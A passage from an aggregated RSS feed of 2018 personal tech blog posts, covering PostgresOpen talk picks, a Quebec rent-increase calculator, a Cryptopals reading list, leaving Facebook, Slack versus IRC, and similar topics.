&lt;p&gt;I&amp;rsquo;ve said it before personally that Postgres is becoming more of a data platform than simply a relational database. Part of that is flexibility towards datatypes and the broad use cases Postgres can support from OLTP, to OLAP, to &lt;a href="https://www.citusdata.com/blog/2018/06/07/what-is-citus-good-for/"&gt;HTAP&lt;/a&gt;. The other big part is extensions! Extensions allow Postgres to continue to advance outside of the standard Postgres core codebase and release cycle. The list of extensions (&lt;a href="https://postgis.net/"&gt;PostGIS&lt;/a&gt;, &lt;a href="https://www.citusdata.com/blog/2017/04/04/distributed_count_distinct_with_postgresql/"&gt;HyperLogLog&lt;/a&gt;, &lt;a href="https://github.com/pgpartman/pg_partman"&gt;pg_partman&lt;/a&gt;, &lt;a href="https://www.citusdata.com"&gt;Citus&lt;/a&gt;) in this talk is pretty great, and curious to hear more on the APIs themselves.&lt;/p&gt;
&lt;h3 id="connection-pooling-101httpspostgresqluseventspgopen2018sessionssession570-connection-pooling-101"&gt;
&lt;div&gt;
&lt;a href="https://postgresql.us/events/pgopen2018/sessions/session/570-connection-pooling-101/"&gt;Connection Pooling 101&lt;/a&gt;
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Okay, connection pooling has been talked about before. Yet, still SO MANY people don&amp;rsquo;t use it in production. Connection pooling can have as large of an impact as understanding explain. In this talk Samantha looks at the pros/cons of connection pooling itself with Postgres, and should provide some good guidance for getting things setup.&lt;/p&gt;
&lt;h3 id="hot---understaning-this-important-optimization-updatehttpspostgresqluseventspgopen2018sessionssession517-hot-understanding-this-important-update-optimization"&gt;
&lt;div&gt;
&lt;a href="https://postgresql.us/events/pgopen2018/sessions/session/517-hot-understanding-this-important-update-optimization/"&gt;HOT - Understaning this important optimization update&lt;/a&gt;
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Grant&amp;rsquo;s talk last year on tuning Postgres for &lt;a href="https://www.youtube.com/watch?v=xrMbzHdPLKM"&gt;high write workloads&lt;/a&gt; was a great one that covered not only practical tips but some of the details of how things work under the covers. This looks like a great follow-on focusing on heap only tuples and how they can greatly improve things like bloat and overal write throughput.&lt;/p&gt;
&lt;h2 id="see-you-there"&gt;
&lt;div&gt;
See you there
&lt;/div&gt;
&lt;/h2&gt;
&lt;p&gt;If you have any questions about the conference I&amp;rsquo;d be happy to answer them, though hopefully based on the short sampling of talks you have all the reason you need to join us in September.&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Wed, 27 Jun 2018 23:55:56 GMT</pubDate><guid isPermaLink="true">/2018/06/27/postgresopen-talk-list/</guid></item><item><title>Calculate amounts from Régie du logement rent increase decisions</title><link>https://www.davidschlachter.com/misc/regiecalculator</link><description>Tool to calculate amounts reported by a landlord for a rent increase decision from Quebec’s Régie du logement. Helpful for estimating the increase that would be granted by the Régie.</description><author>David Schlachter</author><pubDate>Wed, 27 Jun 2018 20:00:00 GMT</pubDate><guid isPermaLink="true">https://www.davidschlachter.com/misc/regiecalculator</guid></item><item><title>A simple change can lead to a big Impact</title><link>https://ilearnt.com/blog/disposablecups/</link><description>&lt;p&gt;A simple change in message can lead to a big impact.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Wed, 27 Jun 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/disposablecups/</guid></item><item><title>Planning Data Science is hard: EDA</title><link>https://blog.harterrt.com/planning_eda.html</link><description>&lt;p&gt;Data science is weird.
It looks a lot like software engineering
but in practice the two are very different.
I've been trying to pin down where these differences come from.&lt;/p&gt;
&lt;p&gt;Michael Kaminsky hit on a couple of key points
in his series on Agile Management for Data Science
on &lt;a href="https://www.locallyoptimistic.com/"&gt;Locally …&lt;/a&gt;&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Wed, 27 Jun 2018 03:19:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/planning_eda.html</guid></item><item><title>Pride '18</title><link>https://faingezicht.com/photos/2018/06/27/pride2018/</link><description>Every year I've been in SF, I've looked forward to Pride to take photos. The set of characters that show up, the crazy outfits, and the overall level of happiness are not matched by any other event I've ever been to. At least in that sense, this year didn't fail to surprise me.

This is as good place as any to insert a shameless plug for my shots from &lt;a href="/photos/2016/06/27/pride"&gt;2016&lt;/a&gt; and &lt;a href="/photos/2017/06/28/pride2017"&gt;2017&lt;/a&gt;. If you haven't seen them, go do that ;)</description><author>Avy Faingezicht</author><pubDate>Wed, 27 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/06/27/pride2018/</guid></item><item><title>If you want REALLY clean solar energy, you need Open Source lawn mowers</title><link>https://stop.zona-m.net/2018/06/if-you-want-really-clean-solar-energy-you-need-open-source-lawn-mowers/</link><description>&lt;p&gt;Yes, we do. Because &amp;ldquo;clean energy&amp;rdquo; from photovoltaic installation may pollute a lot without them.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 26 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/if-you-want-really-clean-solar-energy-you-need-open-source-lawn-mowers/</guid></item><item><title>Men Without Women</title><link>https://apurva-shukla.me/bookshelf/men-without-women/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ Expertly crafted, Murakami showcases the depths and width of his imagination and perspective. His writing reflects so much using…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Tue, 26 Jun 2018 15:11:33 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/men-without-women/</guid></item><item><title>Villa Incognito</title><link>https://apurva-shukla.me/bookshelf/villa-incognito/</link><description>⭐ ⭐ ⭐ Even having read this book a while back, this conjures up memories of precarious tightropes, tanukis, and the unmistakable sound of…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Tue, 26 Jun 2018 14:52:53 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/villa-incognito/</guid></item><item><title>You can't do data science in a GUI</title><link>https://blog.harterrt.com/ds_gui.html</link><description>&lt;p&gt;I came across 
&lt;a href="https://www.youtube.com/watch?v=cpbtcsGE0OA"&gt;You can't do data science in a GUI&lt;/a&gt;
by Hadley Wickham a little while ago.
He hits on a lot of the same problems I mentioned in
&lt;a href="https://blog.harterrt.com/coding_in_textboxes.html"&gt;Don't make me code in your text box&lt;/a&gt;.
Take a look if you have some time.
In the first 15m …&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Tue, 26 Jun 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/ds_gui.html</guid></item><item><title>Cryptopals Set 1 reading list (spoilers ahead)</title><link>https://blog.erethon.com/blog/2018/06/26/cryptopals-set-1-reading-list-spoilers-ahead/</link><description>&lt;p&gt;
I've decided to Go through (this will make sense in a bit) the
&lt;a href="https://cryptopals.com/"&gt;Cryptopals Challenges&lt;/a&gt; in order to get more familiar with crypto
related concepts and Golang (^_^), which I'm using to solve the
problems. The code I've written for solving the challenges is
published in &lt;a href="https://github.com/erethon/matasano-cryptopals-go"&gt;this git repo&lt;/a&gt; and I'll be documenting any helpful
resources on this blog.&lt;/p&gt;</description><author>Erethon's Corner</author><pubDate>Tue, 26 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.erethon.com/blog/2018/06/26/cryptopals-set-1-reading-list-spoilers-ahead/</guid></item><item><title>Task list / team management for german speakers SMB</title><link>https://yasha.solutions/task-list-team-management-for-german-speakers-smb/</link><description>ok, before you ask, my german sucks – like really I am not good at it.
However, I sent this to a friend in Austria the other day, and I thought it might be of benefit to others, so I am sharing this here.
So, if you need a way to manage errands and task and keep track of what’s going on in your company (less than 10 people) and you need an interface in german, here are some stuff you might find useful:</description><author>Yasha Solutions</author><pubDate>Tue, 26 Jun 2018 00:26:18 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/task-list-team-management-for-german-speakers-smb/</guid></item><item><title>Quotes to remember on gloomy days</title><link>https://yasha.solutions/quotes-to-remember-on-gloomy-days/</link><description>The way get started is to quit talking and begin doing. – Walt Disney
 People who are crazy enough to think they can change the world, are the ones who do. – Rob Siltanen
 Whether you think you can or think you can’t, you’re right. – Henry Ford
 Creativity is intelligence having fun. – Albert Einstein
 You don’t have to be great to start, but you have to start to be great.</description><author>Yasha Solutions</author><pubDate>Mon, 25 Jun 2018 23:11:42 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/quotes-to-remember-on-gloomy-days/</guid></item><item><title>The Road to Ruin: The Global Elites' Secret Plan for the Next Financial Crisis</title><link>https://olshansky.info/book/the_road_to_ruin/</link><description>Olshansky's review of The Road to Ruin: The Global Elites' Secret Plan for the Next Financial Crisis by James Rickards</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 25 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/the_road_to_ruin/</guid></item><item><title>Blockchain for IT pros</title><link>https://jasoneckert.github.io/myblog/blockchain-for-it-pros/</link><description>&lt;p&gt;IT professionals are often asked to describe technologies to others within their organization, and this includes buzz words they may have heard in some tech article or trade magazine:&lt;/p&gt;
&lt;p&gt;&lt;img alt="BC1" src="bc1.gif#center" title="BC1" /&gt;&lt;/p&gt;
&lt;p&gt;There’s definitely no shortage of these buzz words in the tech industry - “the cloud,” “the Web 2.0,” “XaaS,” “CyberSecurity,” and of course “bitcoin” and “blockchain” are layered as thick as possible within articles and blogs to bolster clicks, likes and shares.&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Mon, 25 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/blockchain-for-it-pros/</guid></item><item><title>Resolving A DNS Issue</title><link>https://tuckersiemens.com/posts/resolving-a-dns-issue/</link><description>&lt;p&gt;Haha. Get it? &lt;em&gt;Resolving&lt;/em&gt; a DNS issue. OK, that was bad. You don't have to read
anymore, but I'm &lt;code&gt;SOA&lt;/code&gt; into this. You might even say I'm in the zone. I think
it's gonna be &lt;code&gt;A&lt;/code&gt; great read, so consider sticking around, 'cuz there's no
TLD;R.&lt;/p&gt;</description><author>Reilly Tucker Siemens</author><pubDate>Sun, 24 Jun 2018 23:21:00 GMT</pubDate><guid isPermaLink="true">https://tuckersiemens.com/posts/resolving-a-dns-issue/</guid></item><item><title>Self-Flying cars instead of self-driving cars. Hmmm</title><link>https://stop.zona-m.net/2018/06/self-flying-cars-instead-of-self-driving-cars.-hmmm/</link><description>&lt;p&gt;Why stop at self-DRIVING cars when we could have self FLYING ones?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 24 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/self-flying-cars-instead-of-self-driving-cars.-hmmm/</guid></item><item><title>URL shortener bookmarks</title><link>https://xenodium.com/url-shortener-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/kellegous/go"&gt;go: Another Google-like Go short link service&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/issmirnov/zap"&gt;zap: Blazing fast web shortcuts&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 24 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/url-shortener-bookmarks</guid></item><item><title>Side Projects and Marketing</title><link>https://solomon.io/side-projects-and-marketing/</link><description>Good marketing get’s whatever you’re selling in front of customers. Great marketing engages them. The best marketing will land you leads.</description><author>Sam Solomon</author><pubDate>Sun, 24 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/side-projects-and-marketing/</guid></item><item><title>Migrating from Jekyll to Hugo</title><link>https://www.dannyguo.com/blog/migrating-from-jekyll-to-hugo</link><author>Danny Guo</author><pubDate>Sun, 24 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.dannyguo.com/blog/migrating-from-jekyll-to-hugo</guid></item><item><title>Leaving Facebook</title><link>https://lambdaland.org/posts/personal/2018-06-23-leaving-facebook/</link><description>&lt;p&gt;&lt;em&gt;Deutsche Übersetzung folgt.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve left* Facebook.&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s an asterisk there. I&amp;rsquo;m not going to delete my account, but I&amp;rsquo;m no longer checking Facebook more than once or twice a month, if that. I&amp;rsquo;m not trying to be a recluse—below are a few ways to contact me that I &lt;em&gt;do&lt;/em&gt; check far more often than Facebook. I want to be your friend, but I&amp;rsquo;d rather that friendship be through a real connection rather than some online &amp;ldquo;status&amp;rdquo;.&lt;/p&gt;
&lt;h3 id="why-im-leaving"&gt;
  Why I&amp;rsquo;m Leaving
  &lt;a class="anchor" href="#why-im-leaving"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;First of all, I care deeply about my online privacy. I&amp;rsquo;m not perfect, but I try to keep myself free from trackers so I can decide what I see online instead of &lt;a href="https://stratechery.com/2018/the-bill-gates-line/"&gt;aggregators like Facebook and Google&lt;/a&gt;. Facebook is out to get you and your contact information. I don&amp;rsquo;t like it.&lt;/p&gt;
&lt;p&gt;Secondly, I don&amp;rsquo;t like Facebook&amp;rsquo;s closed model of the Internet—they make it so search engines can&amp;rsquo;t find even public Facebook posts. Their model not what I want for anything I choose to share with the world—this blog is much better. Additionally, with my blog, I have a much richer medium for publishing my thoughts and writing.&lt;/p&gt;
&lt;p&gt;Finally, I don&amp;rsquo;t think Facebook merits a daily scroll-through. The information that I care about I find in other news sources and online in manuals. For entertainment, I usually read books or play a game on my phone. Reading about the minutia of people&amp;rsquo;s lives is not interesting to me.&lt;/p&gt;
&lt;p&gt;That being said…&lt;/p&gt;
&lt;h3 id="im-still-keeping-my-account"&gt;
  I&amp;rsquo;m still keeping my account
  &lt;a class="anchor" href="#im-still-keeping-my-account"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Why? Because all you guys use it, and I want to know when you get married, have a baby, when there&amp;rsquo;s a mission reunion, etc. I would &lt;em&gt;really&lt;/em&gt; prefer to learn about these things via some other medium, but until we all migrate to &lt;a href="https://keybase.io"&gt;Keybase&lt;/a&gt; or something, I&amp;rsquo;m going to keep one eye on what my friends like to publish on Facebook. Even then, I&amp;rsquo;ll still likely miss many things. ¯\_(ツ)_/¯&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll also link to my blog posts. There&amp;rsquo;s stuff I&amp;rsquo;d like to share with you guys, and this is the way I&amp;rsquo;d like to do it. It gives me a richer medium to communicate. Furthermore, writing a blog post is more arduous than writing something on Facebook—if I write something, it means I will have found it sufficiently important to spend some time on.&lt;/p&gt;
&lt;h3 id="how-to-contact-me"&gt;
  How to contact me
  &lt;a class="anchor" href="#how-to-contact-me"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;A few options to contact me:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Email—&lt;em&gt;my first name&lt;/em&gt; dot &lt;em&gt;then my last name&lt;/em&gt; at mailblock dot net.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; That&amp;rsquo;s probably the easiest.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://keybase.io/ashton314"&gt;Keybase&lt;/a&gt;—it&amp;rsquo;s a free messaging/file sharing app. My Keybase ID is &lt;code&gt;ashton314&lt;/code&gt;. I prefer this method: it&amp;rsquo;s secure and private.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ashton314"&gt;GitHub&lt;/a&gt;—really only if it&amp;rsquo;s about code.&lt;/li&gt;
&lt;li&gt;Friends—find someone who has my number and ask them for it. Please don&amp;rsquo;t send it over Facebook Messenger, though.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="conclusion"&gt;
  Conclusion
  &lt;a class="anchor" href="#conclusion"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;I&amp;rsquo;ve already been pretty sparing in my Facebook interactions. This post is just to let you know why I might have missed an announcement or two. :) It&amp;rsquo;s nothing personal—I&amp;rsquo;m just not on Facebook very often.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id="deutsch"&gt;
  Deutsch
  &lt;a class="anchor" href="#deutsch"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Ich habe Facebook verlassen.*&lt;/p&gt;
&lt;p&gt;Es gibt noch einige Bedingungen, aber! Ich werde zwar meine Konto nicht löschen, aber ich gehe auf Facebook ziemlich selten—höchstens ein oder zwei Mal im Monat. Ich bin kein Einsiedler; ich will einfach ich auf eine persönlicher Ebene ein Freund sein. Mir ist es Egal ob wir ins Internet als &amp;ldquo;Freunden&amp;rdquo; bezeichnet werden.&lt;/p&gt;
&lt;h3 id="warum-ich-facebook-verlasse"&gt;
  Warum ich Facebook verlasse
  &lt;a class="anchor" href="#warum-ich-facebook-verlasse"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Erstens, mir ist meine Privatsphäre sehr wichtig. Ich will es nicht, dass Facebook meine Taten ins Internet folgt. Ich habe zwar nichts zu verbergen. Das heißt aber nicht, dass Facebook meine jegliche Tat wissen soll.&lt;/p&gt;
&lt;p&gt;Zweitens, ich mag wie Facebook das Internet verwendet gar nicht. Wenn ich etwas auf Facebook schreibe, können Such-machine es nicht finden. Wenn ich ein Link zu etwas erstellen will, macht Facebook das unsicher. Es kann sein, dass wenn jemand etwas postet, kann ich es sehen, aber du nicht.&lt;/p&gt;
&lt;p&gt;Zum Schluss, ich glaube es nicht, dass ich täglich auf Facebook gehen soll. Mir ist es wichtiger andere Sachen zu lesen, statt dass, was Facebook mir gibt.&lt;/p&gt;
&lt;p&gt;Jedoch…&lt;/p&gt;
&lt;h3 id="ich-lösche-mein-konto-nicht"&gt;
  Ich lösche mein Konto nicht.
  &lt;a class="anchor" href="#ich-l%c3%b6sche-mein-konto-nicht"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Der Grund dafür ist einfach: ihr seid alle noch auf Facebook. Ich freue mich wann ich von ihre schöne Lebenserfahrungen höre. Ich möchte es wissen, wann ihr heiraten, ein Baby bekommen, wenn es ein Missionstreffen gibt, usw. Ich höre es liber durch ein anderes Mittel als Facebook, aber bis wir alle auf &lt;a href="https://keybase.io"&gt;Keybase&lt;/a&gt; sind, werde ich noch ein Facebook Konto behalten. Ich werde aber viele Dinge verpassen. Bitte wissen, dass es nicht persönlich gemeint ist: wir sind noch Freunden, ich gehe einfach ganz ganz selten auf Facebook.&lt;/p&gt;
&lt;h3 id="wie-man-mich-kontaktieren-kann"&gt;
  Wie man mich kontaktieren kann
  &lt;a class="anchor" href="#wie-man-mich-kontaktieren-kann"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Es gibt einige Möglichkeiten:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Email—&lt;em&gt;mein erster Name&lt;/em&gt; Punkt &lt;em&gt;mein letzter Name&lt;/em&gt; at mailblock Punkt net.&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; Das ist wahrscheinlich am einfachsten.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://keybase.io/ashton314"&gt;Keybase&lt;/a&gt;—es ist eine Kostenlose Nachricht und Filesharing App. Mein Keybase ID ist &lt;code&gt;ashton314&lt;/code&gt;. Mir ist diese Methode am besten: es ist sicher und privat.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ashton314"&gt;GitHub&lt;/a&gt;—wirklich ist das nur wenn es um Code geht.&lt;/li&gt;
&lt;li&gt;Friends—find einfach jemand, der mein Handynummer schon hat.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="zum-schluß"&gt;
  Zum Schluß
  &lt;a class="anchor" href="#zum-schlu%c3%9f"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Ich bin schon ganz selten bei Facebook. Ich hoffe, dass ihr es versteht, dass wenn ich vielleicht etwas wichtiges verpasst habe, war es gar nicht persönlich gemeint—ich bin halt fast niemals auf Facebook.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id="photo-credits"&gt;
  Photo Credits:
  &lt;a class="anchor" href="#photo-credits"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://unsplash.com/@thoughtcatalog?utm_medium=referral&amp;amp;utm_campaign=photographer-credit&amp;amp;utm_content=creditBadge" rel="noopener noreferrer" target="_blank" title="Download free do whatever you want high-resolution photos from Thought Catalog"&gt;&lt;span style="display: inline-block; padding: 2px 3px;"&gt;&lt;svg viewBox="0 0 32 32" xmlns="http://www.w3.org/2000/svg"&gt;&lt;title&gt;unsplash-logo&lt;/title&gt;&lt;path d="M20.8 18.1c0 2.7-2.2 4.8-4.8 4.8s-4.8-2.1-4.8-4.8c0-2.7 2.2-4.8 4.8-4.8 2.7.1 4.8 2.2 4.8 4.8zm11.2-7.4v14.9c0 2.3-1.9 4.3-4.3 4.3h-23.4c-2.4 0-4.3-1.9-4.3-4.3v-15c0-2.3 1.9-4.3 4.3-4.3h3.7l.8-2.3c.4-1.1 1.7-2 2.9-2h8.6c1.2 0 2.5.9 2.9 2l.8 2.4h3.7c2.4 0 4.3 1.9 4.3 4.3zm-8.6 7.5c0-4.1-3.3-7.5-7.5-7.5-4.1 0-7.5 3.4-7.5 7.5s3.3 7.5 7.5 7.5c4.2-.1 7.5-3.4 7.5-7.5z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/span&gt;&lt;span style="display: inline-block; padding: 2px 3px;"&gt;Thought Catalog&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class="footnotes"&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;I&amp;rsquo;m not writing that in normal form because I don&amp;rsquo;t want a web scraper to find it and spam me. Yuck. I like it when search engines find my blog posts. I don&amp;rsquo;t like it when they find my email address.&amp;#160;&lt;a class="footnote-backref" href="#fnref:1"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Ich hab mein Emailaddresse so geschrieben, damit ich kein Spam bekommen werde. Ich mag es, wenn das Internet mein Post sieht. Ich mag es nicht, wenn schlechte Programmen mein Emailaddresse finden.&amp;#160;&lt;a class="footnote-backref" href="#fnref:2"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description><author>Ashton Wiersdorf on Lambda Land</author><pubDate>Sat, 23 Jun 2018 22:29:17 GMT</pubDate><guid isPermaLink="true">https://lambdaland.org/posts/personal/2018-06-23-leaving-facebook/</guid></item><item><title>Data stored by governments? No, thanks</title><link>https://stop.zona-m.net/2018/06/data-stored-by-governments-no-thanks/</link><description>&lt;p&gt;What is the point of replacing Facebook and Google with the same things, just with another &amp;ldquo;owner&amp;rdquo;?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 23 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/data-stored-by-governments-no-thanks/</guid></item><item><title>No backend – frontend first tools</title><link>https://yasha.solutions/no-backend-frontend-first-tools/</link><description>Traditionnaly – when you build an app – you go from the backend first, i.e – the data model, the database, the API and then only you add the frontend layout talking to you backend.
Problems that come with this approach are basically
 Longer time before client can see anything You don’t build with user scenarios in mind but with database and programming scenario in mind.  Some people though to reverse the whole dev cycle and start with frontend first.</description><author>Yasha Solutions</author><pubDate>Sat, 23 Jun 2018 14:31:25 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/no-backend-frontend-first-tools/</guid></item><item><title>What I learned after three internships at Microsoft.</title><link>https://danielsada.tech/blog/three-times-microsoft-intern/</link><description>After 3 internships In Microsoft, (and becoming a senior intern in the process) I&amp;rsquo;ve decided to write a blog post about what I&amp;rsquo;ve learned in three summers here.
First: What did I do in three internships? For my first internship, I worked in the Microsoft Project Server, using SQL clustered indexes and optimizing our endpoint for consuming project tasks.
For my second internship, I worked on the Microsoft Project Client, helping create the all new agile view.</description><author>Daniel Sada Caraveo | Developer Productivity &amp;amp; Culture</author><pubDate>Sat, 23 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://danielsada.tech/blog/three-times-microsoft-intern/</guid></item><item><title>A 100% cashless society would be great. Except for a couple of things</title><link>https://stop.zona-m.net/2018/06/a-100-cashless-society-would-be-great.-except-for-a-couple-of-things/</link><description>&lt;p&gt;Living without ever using any &lt;strong&gt;physical&lt;/strong&gt; money is already possible in many places. But it has at least two big drawbacks, that most people do not seem to see at all.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 22 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/a-100-cashless-society-would-be-great.-except-for-a-couple-of-things/</guid></item><item><title>Breaking out of the Slack walled garden</title><link>https://purpleidea.com/blog/2018/06/22/breaking-out-of-the-slack-walled-garden/</link><description>&lt;p&gt;I&amp;rsquo;m old school cool. Real hackers chat on open, distributed platforms. Most
technical discussion can be found on the &lt;a href="https://libera.chat/"&gt;Libera.chat&lt;/a&gt; IRC
network. It&amp;rsquo;s not perfect, but the advantages clearly outweigh the drawbacks.&lt;/p&gt;
&lt;p&gt;Recently, I needed to join an existing large &amp;ldquo;community&amp;rdquo; on the centralized,
proprietary &lt;a href="https://en.wikipedia.org/wiki/Closed_platform"&gt;walled garden&lt;/a&gt; that
is the &lt;a href="https://slack.com/"&gt;Slack&lt;/a&gt; network.&lt;/p&gt;


&lt;br /&gt;&lt;span style="text-decoration: underline; font-weight: bold;"&gt;The Problem&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;

&lt;p&gt;Connecting to the the Slack server requires that you use either the proprietary
client or their proprietary web app. There&amp;rsquo;s zero chance I will install the
former on my machine, and the latter uses an absurd amount of browser memory and
CPU. I&amp;rsquo;m already happy with my &lt;a href="https://irssi.org/"&gt;&lt;em&gt;irssi&lt;/em&gt;&lt;/a&gt; experience, and I
didn&amp;rsquo;t want to need another app.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Fri, 22 Jun 2018 20:50:00 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2018/06/22/breaking-out-of-the-slack-walled-garden/</guid></item><item><title>“Map data is only available to an app that is running on a device physically inside the location…</title><link>https://olshansky.info/posts/2018-06-21-map-data-is-only-available-to-an-app-that-is-running-on-a-device-physically-inside-the-location/</link><description>If I stand outside the door of someone who is running the app inside, wouldn’t I be able to get a sparse map cloud of their house?</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 22 Jun 2018 08:44:05 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/posts/2018-06-21-map-data-is-only-available-to-an-app-that-is-running-on-a-device-physically-inside-the-location/</guid></item><item><title>Specialize In The New</title><link>https://www.swyx.io/specialize-in-the-new</link><description>&lt;blockquote&gt;
&lt;p&gt;Author's note: This is part 4 of a series of essays I originally drafted about &lt;a href="https://gist.github.com/sw-yx/9720bd4a30606ca3ffb8d407113c0fe5"&gt;Opinions for your Tech Career&lt;/a&gt;. Part 1 is &lt;a href="https://www.swyx.io/learn-in-public/"&gt;Learn in Public&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;</description><author>swyx's site RSS Feed</author><pubDate>Fri, 22 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/specialize-in-the-new</guid></item><item><title>Marriott Hotels, where "sharing" marries...</title><link>https://stop.zona-m.net/2018/06/marriott-hotels-where-sharing-marries.../</link><description>&lt;p&gt;Do you need a privacy-enhanced hotel room? No problem.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 21 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/marriott-hotels-where-sharing-marries.../</guid></item><item><title>Clone Open Source Apps</title><link>https://www.swyx.io/clone-open-source-apps</link><description>&lt;blockquote&gt;
&lt;p&gt;Author's note: This is part 3 of a series of essays I originally drafted about &lt;a href="https://gist.github.com/sw-yx/9720bd4a30606ca3ffb8d407113c0fe5"&gt;Opinions for your Tech Career&lt;/a&gt;. Part 1 is &lt;a href="https://www.swyx.io/learn-in-public/"&gt;Learn in Public&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;</description><author>swyx's site RSS Feed</author><pubDate>Thu, 21 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/clone-open-source-apps</guid></item><item><title>Some movie broke some record. Thanks, copyright. Or not?</title><link>https://stop.zona-m.net/2018/06/some-movie-broke-some-record.-thanks-copyright.-or-not/</link><description>&lt;p&gt;A movie just broke exactly the same record of many other movies before it, and for exactly the same reason: copyright abuse.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 20 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/some-movie-broke-some-record.-thanks-copyright.-or-not/</guid></item><item><title>Anonymous PPK With NaCl</title><link>https://rjp.is/blogging/posts/anonymous-ppk-with-nacl/</link><description>In which we seal some boxes with NaCl.</description><author>infrequent oscillations</author><pubDate>Wed, 20 Jun 2018 